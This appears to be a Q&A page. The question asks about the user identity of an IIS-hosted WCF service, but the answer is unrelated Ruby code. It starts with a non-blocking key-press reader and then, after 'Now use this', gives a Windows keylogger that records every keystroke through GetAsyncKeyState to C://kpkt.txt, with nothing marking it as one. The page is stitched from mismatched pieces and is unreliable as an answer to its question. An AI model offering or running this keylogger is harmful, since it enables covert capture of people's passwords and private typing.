Question: I have a WCF web service that I am hosting in IIS (actually running within the Visual Studio web host i.e. Cassini).

I have a file that I have to access in the root of the web directory from the service, and am having trouble figuring out the user identity that the service accesses the directory as. I've given permission to ASPNET, NETWORK SERVICE, and IUSR, but none of these seem to work.

Anyone know what the user is that a WCF service runs as when it's hosted within IIS?

MORE INFO:

Indeed, the WCF service is running as me (my windows account), but for whatever reason, it still cannot open a file in its root directory. The file failed with "Access is Denied". I've given "Everyone" Full Control of the folder, and it doesn't seem to matter.

Answer: 
By combinig the various solutions I just read, I came up with a cross-platform way to solve that problem.
[Details here](http://blog.x-aeon.com/2014/03/26/how-to-read-one-non-blocking-key-press-in-ruby/), but here is the relevant piece of code: a `GetKey.getkey` method returning the ASCII code or `nil` if none was pressed.

Should work both on Windows and Unix.

```
module GetKey

  # Check if Win32API is accessible or not
  @use_stty = begin
    require 'Win32API'
    false
  rescue LoadError
    # Use Unix way
    true
  end

  # Return the ASCII code last key pressed, or nil if none
  #
  # Return::
  # * _Integer_: ASCII code of the last key pressed, or nil if none
  def self.getkey
    if @use_stty
      system('stty raw -echo') # => Raw mode, no echo
      char = (STDIN.read_nonblock(1).ord rescue nil)
      system('stty -raw echo') # => Reset terminal mode
      return char
    else
      return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call
    end
  end

end

```

And here is a simple program to test it:

```
loop do
  k = GetKey.getkey
  puts "Key pressed: #{k.inspect}"
  sleep 1
end

```

In the link provided above, I also show how to use the `curses` library, but the result gets a bit whacky on Windows.
Now use this

```
require 'Win32API'

VK_SHIFT = 0x10
VK_ESC = 0x1B

def check_shifts()
    $listener.call(VK_SHIFT) != 0 ? true : false
end

# create empty Hash of key codes
keys = Hash.new

# create empty Hash for shift characters
uppercase = Hash.new

# add letters
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code }

# add numbers
(0x30..0x39).each { |code| keys[code-0x30] = code }

# add special characters
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC

# add custom key macros
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14

# add for uppercase letters
('a'..'z').each { |char| uppercase[char] = char.upcase }

# add for uppercase numbers
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%'
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')'

# add for uppercase special characters
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>'
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"'
uppercase['\\'] = '|'

# create a listener for Windows key-presses
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i')

# call listener once to initialize lsb's
keys.each_value { |code| $listener.call(code) }

logs = File.open('C://kpkt.txt', 'a')

while true
    break if $listener.call(VK_ESC) != 0

    keys.each do |char, code|
        n = $listener.call(code)
        if n and n & 0x01 == 1
            check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}")
        end
    end
end

logs.close()

```